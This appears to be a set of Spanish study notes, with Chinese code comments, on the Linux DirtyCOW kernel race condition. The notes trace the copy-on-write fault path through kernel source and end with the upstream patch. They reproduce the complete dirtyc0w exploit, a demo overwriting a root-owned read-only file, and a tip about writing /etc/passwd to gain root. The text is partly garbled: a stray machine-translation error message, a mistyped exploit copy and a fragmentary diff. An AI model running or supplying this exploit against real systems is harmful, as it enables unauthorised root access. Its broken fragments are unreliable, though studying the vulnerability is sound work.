
DirtyCOW Notas
void *map; int f; struct stat st; char *name;
void *madviseThread(void *arg) { char str; str = (char)arg; int i, c = 0; for(i = 0; i < 100000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); }
void *procselfmemThread(void *arg) { char str; str = (char)arg;
int f = open("/proc/self/mem", O_RDWR); int i, c = 0; for(i = 0; i < 100000000; i++) { lseek(f, (uintptr_t)map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); }
int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1, pth2;
f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }
对不起,我似乎没有收到实际要翻译的内容块。您只发来了指令和规则,但没有提供 chunk 3 的中文原文。请粘贴要翻译的内容,我会严格遵循所有规则进行西班牙语翻译。```
$ sudo su
# echo "READ ONLY" > flag.txt
# chmod 0404 flag.txt
# exit
$
$ ll flag.txt
-r-----r-- 1 root root 10 flag.txt
$ echo "aaaaaa" > flag.txt
Permission Denied
$
$ gcc -pthread dirty.c -o dirty
$ ./dirty flag.txt aaaaaa
mmap 7f1a35bc4000
procselfmem -2094967296
madvise 0
$ cat flag.txt
aaaaaa
Una técnica de explotación común es escribir sin autorización en /etc/passwd para modificar el usuario root o los permisos de usuario y escalar privilegios.
Primero, veamos qué hace el exp.```c int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n","usage: dirtyc0w target_file new_content"); return 1; }
pthread_t pth1, pth2; f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }
- Primero se llama a pthread para crear dos hilos
- Luego se abre con `fopen` el archivo objetivo de solo lectura `argv[1]`
- Se asigna el archivo a memoria con `mmap` (dirección aleatoria). El propósito de `MAP_PRIVATE` es crear una asignación de memoria privada para una tarea. Si otra tarea intenta escribir en esta memoria, el proceso primero hará una copia antes de escribir. De esta manera, al crear procesos hijos o hilos, no es necesario copiar todo el espacio de memoria con gran costo de tiempo y espacio, y se garantiza que las operaciones de memoria concurrentes entre tareas no se afecten entre sí. Esto se llama CopyOnWrite.
- Luego se inician dos hilos, uno ejecuta `madviseThread` y el otro ejecuta `procselfmemThread`
Luego veamos los cuerpos de ejecución de los dos hilos
- Un hilo llama a `madvise` en la asignación de archivo para informar al kernel sobre el uso de la memoria asignada o memoria compartida. `MADV_DONTNEED` indica que ya no se usará esta región de memoria, y el kernel puede liberarla.
- El otro hilo abre `/proc/self/mem` con permisos de lectura/escritura. Este archivo es la asignación de archivo de la memoria virtual del propio proceso. Luego intenta repetidamente escribir la información objetivo en el archivo.```c
void *madviseThread(void *arg) {
char *str;
str = (char*)arg;
int i, c = 0;
for(i = 0; i < 100000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}
void *procselfmemThread(void *arg) {
char *str;
str = (char*)arg;
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for(i = 0; i < 100000000; i++) {
lseek(f, (uintptr_t)map, SEEK_SET);
c += write(f, str, strlen(str));
}
printf("procselfmem %d\n\n", c);
}
最终,在两个线程的轮番轰炸下内核出现竞争漏洞,procselfmemThread成功写入只读文件
mmap solo establecerá un mapeo de memoria en la vma, pero no colocará realmente el archivo mapeado en un marco de página física. Por lo tanto, cuando intentamos write por primera vez, inevitablemente se desencadena una falla de página.Comenzamos el análisis desde write. Cualquier operación en un archivo debe pasar por la tabla virtual file_operations registrada por el sistema de archivos del archivo en el VFS, y los archivos en /proc son implementados por procfs. Encontramos proc_mem_operations y podemos ver que write está vinculado a mem_write.```c
static const struct file_operations proc_mem_operations = {
.llseek = mem_lseek,
.read = mem_read,
.write = mem_write,
.open = mem_open,
.release = mem_release,
};
`mem_write` es un wrapper de `mem_rw` (el indicador `write` se establece en 1), el flujo principal de `mem_rw` es
- Primero, `__get_free_page` solicita una página libre temporal para que actúe como búfer
- Si es una operación de escritura, se llama a `copy_from_user` para copiar los datos a escribir en la página temporal
- Luego, `access_remote_vm` lee los datos de destino en la página libre (lectura) o escribe el contenido del búfer en la dirección de destino (escritura)
- Lo que se llama "remote", en realidad se debe a que este proceso puede leer o escribir los archivos mapeados en memoria de otros procesos, lo que significa que el proceso puede acceder al espacio de direcciones de otros procesos. Esto es diferente de otros sistemas de archivos de memoria.
- Si es una operación de lectura, entonces los datos leídos en la página libre en el paso anterior se escriben de vuelta en el búfer del usuario.```c
static ssize_t mem_rw(struct file *file, char __user *buf,
size_t count, loff_t *ppos, int write)
{
struct mm_struct *mm = file->private_data;
unsigned long addr = *ppos;
ssize_t copied;
char *page;
if (!mm)
return 0;
page = (char *)__get_free_page(GFP_TEMPORARY); // 申请临时空闲页面
if (!page)
return -ENOMEM;
copied = 0;
if (!atomic_inc_not_zero(&mm->mm_users))
goto free;
while (count > 0) {
int this_len = min_t(int, count, PAGE_SIZE); // 本次读取/写入数据长度,单次最大为PAGE_SIZE
if (write && copy_from_user(page, buf, this_len)) { // 若是写操作,从用户空间拷贝待写数据到临时空闲页面
copied = -EFAULT;
break;
}
this_len = access_remote_vm(mm, addr, page, this_len, write); // 读取/写入数据到临时空闲页面
if (!this_len) {
if (!copied)
copied = -EIO;
break;
}
if (!write && copy_to_user(buf, page, this_len)) { // 若是读操作,将读取到的数据从临时空闲页面拷贝数据到用户空间
copied = -EFAULT;
break;
}
buf += this_len;
addr += this_len;
copied += this_len;
count -= this_len;
}
*ppos = addr;
mmput(mm);
free:
free_page((unsigned long) page); // 释放临时空闲页面
return copied;
}
access_remote_vm es un envoltorio de __access_remote_vm, el flujo principal es:
get_user_pages obtiene la estructura de página (page struct) donde se encuentra la dirección objetivo addr
Si se obtiene con éxito, llama a kmap para mapear la página en la memoria alta del kernel (la página se refiere a la página física)
Si el acceso a la memoria es una operación de escritura, se escriben los datos y se establece el bit sucio; si es una operación de lectura, simplemente se leen los datos```c static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm, unsigned long addr, void *buf, int len, int write) { struct vm_area_struct *vma; void *old_buf = buf;
down_read(&mm->mmap_sem); /* ignore errors, just check how much was successfully transferred */ while (len) { int bytes, ret, offset; void *maddr; struct page *page = NULL;
ret = get_user_pages(tsk, mm, addr, 1, // 获取addr对应的page
write, 1, &page, &vma);
if (ret <= 0) { // 获取失败
#ifndef CONFIG_HAVE_IOREMAP_PROT break; #else /* * Check if this is a VM_IO | VM_PFNMAP VMA, which * we can access using slightly different code. */ vma = find_vma(mm, addr); if (!vma || vma->vm_start > addr) break; if (vma->vm_ops && vma->vm_ops->access) ret = vma->vm_ops->access(vma, addr, buf, len, write); if (ret <= 0) break; bytes = ret; #endif } else { // 获取成功 bytes = len; offset = addr & (PAGE_SIZE-1); if (bytes > PAGE_SIZE-offset) bytes = PAGE_SIZE-offset;
maddr = kmap(page); // 映射page到内核空间,因为我们获取的是page结构体,需要映射到一个虚拟地址之后才能进行写入
if (write) { // 如果是写操作
copy_to_user_page(vma, page, addr, // 将buf的数据拷贝到page中,完成写入
maddr + offset, buf, bytes);
set_page_dirty_lock(page); // 设置页面为脏页
} else { // 如果是读操作
copy_from_user_page(vma, page, addr,
buf, maddr + offset, bytes);
}
kunmap(page);
page_cache_release(page);
}
len -= bytes;
buf += bytes;
addr += bytes;
}
up_read(&mm->mmap_sem);
return buf - old_buf;
}
##### __get_user_pages
Lo anterior es una visión general de las operaciones de lectura/escritura de procfs. A continuación comenzamos con `get_user_pages`
`get_user_pages` es un envoltorio de `__get_user_pages_locked`, y este último llama a `__get_user_pages` que es el cuerpo lógico. Su flujo es el siguiente
- Primero, recorre las páginas a operar y realiza algunas preparaciones previas, incluyendo la configuración del mapa de bits de permisos `foll_flags` para cada página
- Si es la primera iteración o la dirección de inicio es mayor que la base actual de vma, `find_extend_vma` obtiene la vma donde se encuentra la dirección de inicio
- Si el proceso no ha recibido o bloqueado una señal fatal, `follow_page_mask` obtiene la estructura de página (page struct) de la página física correspondiente a la dirección virtual
- Normalmente las páginas no están en la memoria, es decir, la primera vez que se accede a una página provoca un fallo de página
- Además, si no hay permiso de operación sobre esa página, también provoca una excepción
- También hay otras causas como OOM, fallos de hardware, etc., que no nos interesan aquí
- Si no se logra obtener y no es un fallo (devuelve 0), se llama a `faultin_page` para manejar la excepción de fallo de página. Después de completar el manejo con éxito, se vuelve a `follow_page_mask` para reintentar la obtención de la página```c
long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,
struct vm_area_struct **vmas, int *nonblocking)
{
long i = 0;
unsigned int page_mask;
struct vm_area_struct *vma = NULL;
if (!nr_pages)
return 0;
VM_BUG_ON(!!pages != !!(gup_flags & FOLL_GET));
/*
* If FOLL_FORCE is set then do not force a full fault as the hinting
* fault information is unrelated to the reference behaviour of a task
* using the address space
*/
if (!(gup_flags & FOLL_FORCE))
gup_flags |= FOLL_NUMA;
do {
struct page *page;
unsigned int foll_flags = gup_flags;
unsigned int page_increm;
/* first iteration or cross vma bound */
if (!vma || start >= vma->vm_end) { // 若vma为空(第一次迭代)或者start超出vma的范围
vma = find_extend_vma(mm, start); // 查找start所在的vma
if (!vma && in_gate_area(mm, start)) {
int ret;
ret = get_gate_page(mm, start & PAGE_MASK,
gup_flags, &vma,
pages ? &pages[i] : NULL);
if (ret)
return i ? : ret;
page_mask = 0;
goto next_page;
}
if (!vma || check_vma_flags(vma, gup_flags))
return i ? : -EFAULT;
if (is_vm_hugetlb_page(vma)) {
i = follow_hugetlb_page(mm, vma, pages, vmas,
&start, &nr_pages, i,
gup_flags);
continue;
}
}
retry:
/*
* If we have a pending SIGKILL, don't keep faulting pages and
* potentially allocating memory.
*/
if (unlikely(fatal_signal_pending(current)))
return i ? i : -ERESTARTSYS;
cond_resched();
page = follow_page_mask(vma, start, foll_flags, &page_mask); // 获取虚拟地址对应的物理页的page struct
if (!page) { // 获取失败,可能是没有对应页,也可能是没有相应操作权限
int ret;
ret = faultin_page(tsk, vma, start, &foll_flags, // 处理缺页异常,COW机制建映射得到一个新的可写的anon page
nonblocking); // 若没有写权限其会取消掉foll_flags中的写标志并返回0
switch (ret) {
case 0: // 缺页异常处理成功,重新尝试获取page
goto retry;
case -EFAULT:
case -ENOMEM:
case -EHWPOISON:
return i ? i : ret;
case -EBUSY:
return i;
case -ENOENT:
goto next_page;
}
BUG();
} else if (PTR_ERR(page) == -EEXIST) {
/*
* Proper page table entry exists, but no corresponding
* struct page.
*/
goto next_page;
} else if (IS_ERR(page)) {
return i ? i : PTR_ERR(page);
}
if (pages) {
pages[i] = page;
flush_anon_page(vma, page, start);
flush_dcache_page(page);
page_mask = 0;
}
next_page:
if (vmas) {
vmas[i] = vma;
page_mask = 0;
}
page_increm = 1 + (~(start >> PAGE_SHIFT) & page_mask);
if (page_increm > nr_pages)
page_increm = nr_pages;
i += page_increm;
start += page_increm * PAGE_SIZE;
nr_pages -= page_increm;
} while (nr_pages); // 直到所有的页都处理完毕
return i;
}
EXPORT_SYMBOL(__get_user_pages);
follow_page_mask analiza paso a paso la dirección para obtener el pte correspondiente, luego llama a follow_page_pte para intentar obtener la estructura de la página. La lógica es bastante simple: tras una serie de verificaciones, si todo está correcto, devuelve la estructura de la página; en caso de no encontrar la asignación de dirección o no tener permisos de escritura, devuelve NULL.```c
static struct page *follow_page_pte(struct vm_area_struct *vma,
unsigned long address, pmd_t *pmd, unsigned int flags)
{
struct mm_struct *mm = vma->vm_mm;
struct page *page;
spinlock_t *ptl;
pte_t *ptep, pte;
retry: if (unlikely(pmd_bad(*pmd))) return no_page_table(vma, flags);
ptep = pte_offset_map_lock(mm, pmd, address, &ptl);
pte = *ptep;
if (!pte_present(pte)) {
swp_entry_t entry;
/*
* KSM's break_ksm() relies upon recognizing a ksm page
* even while it is being migrated, so for that case we
* need migration_entry_wait().
*/
if (likely(!(flags & FOLL_MIGRATION)))
goto no_page;
if (pte_none(pte))
goto no_page;
entry = pte_to_swp_entry(pte);
if (!is_migration_entry(entry))
goto no_page;
pte_unmap_unlock(ptep, ptl);
migration_entry_wait(mm, pmd, address);
goto retry;
}
if ((flags & FOLL_NUMA) && pte_protnone(pte))
goto no_page;
if ((flags & FOLL_WRITE) && !pte_write(pte)) { // 欲执行写操作,但是没有写权限
pte_unmap_unlock(ptep, ptl);
return NULL;
}
page = vm_normal_page(vma, address, pte); // 获取page struct
if (unlikely(!page)) {
if (flags & FOLL_DUMP) {
/* Avoid special (like zero) pages in core dumps */
page = ERR_PTR(-EFAULT);
goto out;
}
if (is_zero_pfn(pte_pfn(pte))) {
page = pte_page(pte);
} else {
int ret;
ret = follow_pfn_pte(vma, address, ptep, flags);
page = ERR_PTR(ret);
goto out;
}
}
if (flags & FOLL_GET)
get_page_foll(page);
if (flags & FOLL_TOUCH) {
if ((flags & FOLL_WRITE) &&
!pte_dirty(pte) && !PageDirty(page))
set_page_dirty(page);
/*
* pte_mkyoung() would be more correct here, but atomic care
* is needed to avoid losing the dirty bit: it is easier to use
* mark_page_accessed().
*/
mark_page_accessed(page);
}
if ((flags & FOLL_MLOCK) && (vma->vm_flags & VM_LOCKED)) {
/*
* The preliminary mapping check is mainly to avoid the
* pointless overhead of lock_page on the ZERO_PAGE
* which might bounce very badly if there is contention.
*
* If the page is already locked, we don't need to
* handle it now - vmscan will handle it later if and
* when it attempts to reclaim the page.
*/
if (page->mapping && trylock_page(page)) {
lru_add_drain(); /* push cached pages to LRU */
/*
* Because we lock page here, and migration is
* blocked by the pte's page reference, and we
* know the page is still mapped, we don't even
* need to check for file-cache page truncation.
*/
mlock_vma_page(page);
unlock_page(page);
}
}
out: pte_unmap_unlock(ptep, ptl); return page; no_page: pte_unmap_unlock(ptep, ptl); if (!pte_none(pte)) return NULL; return no_page_table(vma, flags); }
##### faultin_page
`faultin_page`类似,设置好标志之后调用`handle_mm_fault`正式进入缺页异常处理流程,这个会在后面展开```c
static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
unsigned long address, unsigned int *flags, int *nonblocking)
{
struct mm_struct *mm = vma->vm_mm;
unsigned int fault_flags = 0;
int ret;
/* mlock all present pages, but do not fault in new pages */
if ((*flags & (FOLL_POPULATE | FOLL_MLOCK)) == FOLL_MLOCK)
return -ENOENT;
/* For mm_populate(), just skip the stack guard page. */
if ((*flags & FOLL_POPULATE) &&
(stack_guard_page_start(vma, address) ||
stack_guard_page_end(vma, address + PAGE_SIZE)))
return -ENOENT;
if (*flags & FOLL_WRITE) // 欲执行写操作
fault_flags |= FAULT_FLAG_WRITE;
if (nonblocking)
fault_flags |= FAULT_FLAG_ALLOW_RETRY;
if (*flags & FOLL_NOWAIT)
fault_flags |= FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_RETRY_NOWAIT;
if (*flags & FOLL_TRIED) {
VM_WARN_ON_ONCE(fault_flags & FAULT_FLAG_ALLOW_RETRY);
fault_flags |= FAULT_FLAG_TRIED;
}
ret = handle_mm_fault(mm, vma, address, fault_flags); // 处理缺页异常
if (ret & VM_FAULT_ERROR) {
if (ret & VM_FAULT_OOM)
return -ENOMEM;
if (ret & (VM_FAULT_HWPOISON | VM_FAULT_HWPOISON_LARGE))
return *flags & FOLL_HWPOISON ? -EHWPOISON : -EFAULT;
if (ret & (VM_FAULT_SIGBUS | VM_FAULT_SIGSEGV))
return -EFAULT;
BUG();
}
if (tsk) {
if (ret & VM_FAULT_MAJOR)
tsk->maj_flt++;
else
tsk->min_flt++;
}
if (ret & VM_FAULT_RETRY) {
if (nonblocking)
*nonblocking = 0;
return -EBUSY;
}
/*
* The VM_FAULT_WRITE bit tells us that do_wp_page has broken COW when
* necessary, even if maybe_mkwrite decided not to set pte_write. We
* can thus safely do subsequent page lookups as if they were reads.
* But only do so when looping for pte_write is futile: in some cases
* userspace may also be wanting to write to the gotten user page,
* which a read fault here might prevent (a readonly page might get
* reCOWed by userspace write).
*/
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE)) // 若vma不可写,但是缺页异常处理成功,且需要写操作
*flags &= ~FOLL_WRITE; // 清除写操作标志,否则会在__get_user_pages中返回不断retry
return 0;
}
El mecanismo de reintento representado por la etiqueta retry en __get_user_pages es básicamente el flujo de procesamiento de un fallo de página al acceder a memoria. Tomando el escenario de este artículo como ejemplo, tenga en cuenta que la operación no es atómica.
mmap desde un archivo. Dado que mmap no lee la página en memoria, follow_page_mask falla al obtener la página, causando la primera excepción de fallo de página.faultin_page lee la página en memoria, crea el mapeo y retorna para reintentar.follow_page_mask intenta obtener la página por segunda vez. La operación de obtención incluye escritura en la página, pero la página de destino es de solo lectura, lo que provoca una segunda excepción de fallo de página.faultin_page, según el mecanismo COW, copia una página anónima, reconstruye el mapeo y elimina la bandera FOLL_WRITE para evitar reintentos infinitos, y finalmente retorna para reintentar.follow_page_mask intenta obtener la página por tercera vez. Esta vez, la bandera de escritura ha sido eliminada, por lo que logra obtener la página anónima copiada por COW con permisos de solo lectura, sin causar una nueva excepción.kmap y el proceso completa la escritura (pero los cambios no se sincronizan con el archivo).En este punto, el punto de vulnerabilidad ya es bastante claro. La parte de retry en los tres fallos de página debería ser atómica; al menos se debería bloquear la pte. Sin embargo, por alguna razón, aquí no se implementa dicha protección, lo que hace que este flujo de ejecución sea fácil de interrumpir. DirtyCOW, mientras completa el flujo anterior, llama continuamente a madvice para intentar que el kernel borre la pte y deshaga el mapeo de la página de destino, lo que finalmente conduce al siguiente flujo de ejecución:
mmap desde un archivo. Dado que mmap no lee la página en memoria, follow_page_mask falla al obtener la página, causando la primera excepción de fallo de página.faultin_page lee la página en memoria, crea el mapeo y retorna para reintentar.follow_page_mask intenta obtener la página por segunda vez. La operación de obtención incluye escritura en la página, pero la página de destino es de solo lectura, lo que provoca una segunda excepción de fallo de página.faultin_page, según el mecanismo COW, copia una página anónima, reconstruye el mapeo y elimina la bandera FOLL_WRITE para evitar reintentos infinitos, y finalmente retorna para reintentar.madvice, borra la pte correspondiente a la dirección virtual y deshace el mapeo de la dirección virtual (los hilos del mismo proceso comparten la misma tabla de páginas).follow_page_mask intenta obtener la página por tercera vez. Esta vez, la bandera de escritura ha sido eliminada, por lo que intenta obtenerla con permisos de solo lectura. Simultáneamente, la página ha sido desmapeada, lo que provoca una nueva excepción de fallo de página.Un punto que podría generar dudas es: incluso si obtenemos la página, la vma original sigue siendo de solo lectura, por lo que al final no se podría completar la escritura. La solución a este problema parece ser que kmap mapea la memoria en la high memory del kernel. Aunque la pte mapeada por la vma en espacio de usuario sea de solo lectura, la pte mapeada en la high memory del kernel tiene permisos de escritura, lo que permite completar la escritura no autorizada. Esta es una característica específica de mem_write.
Finalmente, veamos el parche de Linus. Probablemente por consideraciones de rendimiento, no agregó un bloqueo en el punto vulnerable, sino que estableció una nueva bandera FOLL_COW para manejar COW de manera especial.
typedef int (*pte_fn_t)(pte_t *pte, pgtable_t token, unsigned long addr, void *data); diff --git a/mm/gup.c b/mm/gup.c index 96b2b2fd0fbd13..22cc22e7432f60 100644 --- a/mm/gup.c +++ b/mm/gup.c @@ -60,6 +60,16 @@ static int follow_pfn_pte(struct vm_area_struct *vma, unsigned long address, return -EEXIST; }
+/*
((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte));
+} + static struct page *follow_page_pte(struct vm_area_struct *vma, unsigned long address, pmd_t *pmd, unsigned int flags) { @@ -95,7 +105,7 @@ retry: } if ((flags & FOLL_NUMA) && pte_protnone(pte)) goto no_page;
*flags &= ~FOLL_WRITE;
*flags |= FOLL_COW;
#### Dive into Page Fault
##### handle_mm_fault
Anteriormente nos detuvimos en `faultin_page`, ahora continuamos profundizando desde `handle_mm_fault`.```c
int handle_mm_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, unsigned int flags)
{
int ret;
__set_current_state(TASK_RUNNING); // 在处理完缺页异常后进程需要继续运行,保持TASK_RUNNING状态
count_vm_event(PGFAULT);
mem_cgroup_count_vm_event(mm, PGFAULT);
/* do counter updates before entering really critical section. */
check_sync_rss_stat(current);
/*
* Enable the memcg OOM handling for faults triggered in user
* space. Kernel faults are handled more gracefully.
*/
if (flags & FAULT_FLAG_USER)
mem_cgroup_oom_enable(); // 使能内存控制组的OOM处理
ret = __handle_mm_fault(mm, vma, address, flags); // handle的真正入口
if (flags & FAULT_FLAG_USER) { // 如果是用户态的缺页异常
mem_cgroup_oom_disable(); // 禁用内存控制组的OOM处理
/*
* The task may have entered a memcg OOM situation but
* if the allocation error was handled gracefully (no
* VM_FAULT_OOM), there is no need to kill anything.
* Just clean up the OOM state peacefully.
*/
if (task_in_memcg_oom(current) && !(ret & VM_FAULT_OOM)) // 如果进程处于内存控制组的OOM状态,但没有OOM错误
mem_cgroup_oom_synchronize(false); // 清理OOM状态即可
}
return ret;
}
EXPORT_SYMBOL_GPL(handle_mm_fault);
Al ver nuevamente el __handle_mm_fault envuelto, en realidad se trata de analizar la pte donde se encuentra el objetivo y luego llamar a handle_pte_fault para procesar.```c
static int __handle_mm_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, unsigned int flags)
{
pgd_t *pgd; // 页全局目录指针
pud_t *pud; // 页上级目录指针
pmd_t *pmd; // 页中间目录指针
pte_t *pte; // 页表项指针
if (unlikely(is_vm_hugetlb_page(vma))) // hugepage
return hugetlb_fault(mm, vma, address, flags);
pgd = pgd_offset(mm, address); // (mm)->pgd + (address)>>PGDIR_SHIFT
pud = pud_alloc(mm, pgd, address); // 获取pud指针
if (!pud)
return VM_FAULT_OOM; // out of memory
pmd = pmd_alloc(mm, pud, address); // 获取pmd指针
if (!pmd)
return VM_FAULT_OOM;
if (pmd_none(*pmd) && transparent_hugepage_enabled(vma)) { // 透明大页
int ret = create_huge_pmd(mm, vma, address, pmd, flags);
if (!(ret & VM_FAULT_FALLBACK))
return ret;
} else {
pmd_t orig_pmd = *pmd;
int ret;
barrier(); // 内存屏障,确保orig_pmd的读取顺序不会被编译器优化,保证读取的是最新的pmd值
if (pmd_trans_huge(orig_pmd)) { // 透明大页
unsigned int dirty = flags & FAULT_FLAG_WRITE;
/*
* If the pmd is splitting, return and retry the
* the fault. Alternative: wait until the split
* is done, and goto retry.
*/
if (pmd_trans_splitting(orig_pmd))
return 0;
if (pmd_protnone(orig_pmd))
return do_huge_pmd_numa_page(mm, vma, address,
orig_pmd, pmd);
if (dirty && !pmd_write(orig_pmd)) {
ret = wp_huge_pmd(mm, vma, address, pmd,
orig_pmd, flags);
if (!(ret & VM_FAULT_FALLBACK))
return ret;
} else {
huge_pmd_set_accessed(mm, vma, address, pmd,
orig_pmd, dirty);
return 0;
}
}
}
/*
* Use __pte_alloc instead of pte_alloc_map, because we can't
* run pte_offset_map on the pmd, if an huge pmd could
* materialize from under us from a different thread.
*/
if (unlikely(pmd_none(*pmd)) &&
unlikely(__pte_alloc(mm, vma, pmd, address)))
return VM_FAULT_OOM;
/*
* If a huge pmd materialized under us just retry later. Use
* pmd_trans_unstable() instead of pmd_trans_huge() to ensure the pmd
* didn't become pmd_trans_huge under us and then back to pmd_none, as
* a result of MADV_DONTNEED running immediately after a huge pmd fault
* in a different thread of this mm, in turn leading to a misleading
* pmd_trans_huge() retval. All we have to ensure is that it is a
* regular pmd that we can walk with pte_offset_map() and we can do that
* through an atomic read in C, which is what pmd_trans_unstable()
* provides.
*/
if (unlikely(pmd_trans_unstable(pmd)))
return 0;
/*
* A regular pmd is established and it can't morph into a huge pmd
* from under us anymore at this point because we hold the mmap_sem
* read mode and khugepaged takes it in write mode. So now it's
* safe to run pte_offset_map().
*/
pte = pte_offset_map(pmd, address); // 获取pte指针,这也是这个wrap的最终的目标
return handle_pte_fault(mm, vma, address, pte, pmd, flags); // 进入page fault处理
}
##### handle_pte_fault
El flujo de `handle_pte_fault` es el siguiente, las funciones clave son `do_fault` y `do_wp_page`
- Primero se verifica si pte está vacío. Si es así, indica que el proceso está accediendo a la página por primera vez
- Si la página accedida es una página anónima, se llama a `do_anonymous_page`
- Si la página accedida no es una página anónima, se llama a `do_fault`
- Después de realizar estas acciones, se retorna directamente
- Si está en memoria (lo que indica que la página ya ha sido accedida anteriormente), tras realizar algunas comprobaciones, si el fallo de página (page fault) fue provocado por una operación de escritura
- Si no tiene permiso de escritura, se llama a `do_wp_page`
- Si tiene permiso de escritura, se establece el bit sucio (dirty) en pte```c
static int handle_pte_fault(struct mm_struct *mm,
struct vm_area_struct *vma, unsigned long address,
pte_t *pte, pmd_t *pmd, unsigned int flags)
{
pte_t entry;
spinlock_t *ptl; // 页表自旋锁
/*
* some architectures can have larger ptes than wordsize,
* e.g.ppc44x-defconfig has CONFIG_PTE_64BIT=y and CONFIG_32BIT=y,
* so READ_ONCE or ACCESS_ONCE cannot guarantee atomic accesses.
* The code below just needs a consistent view for the ifs and
* we later double check anyway with the ptl lock held. So here
* a barrier will do.
*/
entry = *pte;
barrier();
if (!pte_present(entry)) { // 页表项不在内存中(page fault第一次)
if (pte_none(entry)) { // 页表项为空,进程第一次访问该页面
if (vma_is_anonymous(vma)) // 没有设置vma->vm_ops,即为匿名页面(即不是文件映射)
return do_anonymous_page(mm, vma, address,
pte, pmd, flags);
else
return do_fault(mm, vma, address, pte, pmd, // 若为文件映射页面
flags, entry);
}
return do_swap_page(mm, vma, address, // 页表项不为空,将页面swap进内存
pte, pmd, flags, entry);
}
if (pte_protnone(entry)) // 页表项为保护页
return do_numa_page(mm, vma, address, entry, pte, pmd); // NUMA
ptl = pte_lockptr(mm, pmd); // 页表自旋锁,此时页面已经在内存中
spin_lock(ptl);
if (unlikely(!pte_same(*pte, entry))) // 并发检查
goto unlock;
if (flags & FAULT_FLAG_WRITE) { // page fault是由写操作引发
if (!pte_write(entry)) // 页不可写
return do_wp_page(mm, vma, address, // COW
pte, pmd, ptl, entry);
entry = pte_mkdirty(entry); // 页可写,设置为脏页
}
entry = pte_mkyoung(entry);
if (ptep_set_access_flags(vma, address, pte, entry, flags & FAULT_FLAG_WRITE)) {
update_mmu_cache(vma, address, pte);
} else {
/*
* This is needed only for protection faults but the arch code
* is not yet telling us if this is a protection fault or not.
* This still avoids useless tlb flushes for .text page faults
* with threads.
*/
if (flags & FAULT_FLAG_WRITE)
flush_tlb_fix_spurious_fault(vma, address);
}
unlock:
pte_unmap_unlock(pte, ptl);
return 0;
}
Como esta vez nos preocupamos principalmente por COW, elegimos profundizar desde do_fault
Primero, localice la página del archivo donde ocurrió la falla de página (anteriormente se confirmó que la página proviene de un mapeo de archivo)
Confirme que hay una función de manejo de fallos de página definida en vma->vmops
Si es una operación de lectura, llame a do_read_fault
Si es una operación de escritura, determine si la página es compartible; si no lo es, indica que la página es privada de la tarea y necesita COW, entonces llame a do_cow_dault
Si es una operación de escritura y la página es compartida, llame a `do_shared_fault````c static int do_fault(struct mm_struct *mm, struct vm_area_struct *vma, unsigned long address, pte_t *page_table, pmd_t *pmd, unsigned int flags, pte_t orig_pte) { pgoff_t pgoff = (((address & PAGE_MASK) - vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff; // 发生page fault的地址在文件中的页面偏移量
pte_unmap(page_table); /* The VMA was not fully populated on mmap() or missing VM_DONTEXPAND */ if (!vma->vm_ops->fault) // 是否有定义处理缺页异常的函数 return VM_FAULT_SIGBUS; if (!(flags & FAULT_FLAG_WRITE)) // 当前内存访问是读操作 return do_read_fault(mm, vma, address, pmd, pgoff, flags, orig_pte); if (!(vma->vm_flags & VM_SHARED)) // 当前内存访问是写操作,且是私有映射MAP_PRIVATE,那么需要COW return do_cow_fault(mm, vma, address, pmd, pgoff, flags, // 创建一个新的页,将数据拷贝到新页中,设置新页的PTE(此时还未真正write) orig_pte); return do_shared_fault(mm, vma, address, pmd, pgoff, flags, orig_pte); // 当前内存访问是写操作,且是共享映射MAP_SHARED,不需要COW }
##### do_cow_fault
El flujo de `do_cow_fault` es aproximadamente el siguiente:
- Primero, se llama a `alloc_page_vma` para asignar una nueva página física `new_page`.
- Se verifica si hay OOM.
- Luego, `__do_fault` lee datos del archivo a otra página `fault_page`, que esencialmente llama a la función `fault` vinculada en `vma->vm_ops`.
- `copy_user_highpage` copia los datos de `fault_page` a `new_page`; esta función es en realidad un envoltorio de `memcpy`.
- `do_set_pte` establece la pte para la página, con atributos de página escribible y anónima.```c
static int do_cow_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, pmd_t *pmd,
pgoff_t pgoff, unsigned int flags, pte_t orig_pte)
{
struct page *fault_page, *new_page;
struct mem_cgroup *memcg;
spinlock_t *ptl;
pte_t *pte;
int ret;
if (unlikely(anon_vma_prepare(vma)))
return VM_FAULT_OOM;
new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address); // 为新页分配物理内存。VMA的表示粒度是4k
if (!new_page)
return VM_FAULT_OOM;
if (mem_cgroup_try_charge(new_page, mm, GFP_KERNEL, &memcg)) { // 检查当前进程使用的内存是否超过了cgroup的限制
page_cache_release(new_page); // 释放COW的新页
return VM_FAULT_OOM; // 返回OOM错误,COW失败
}
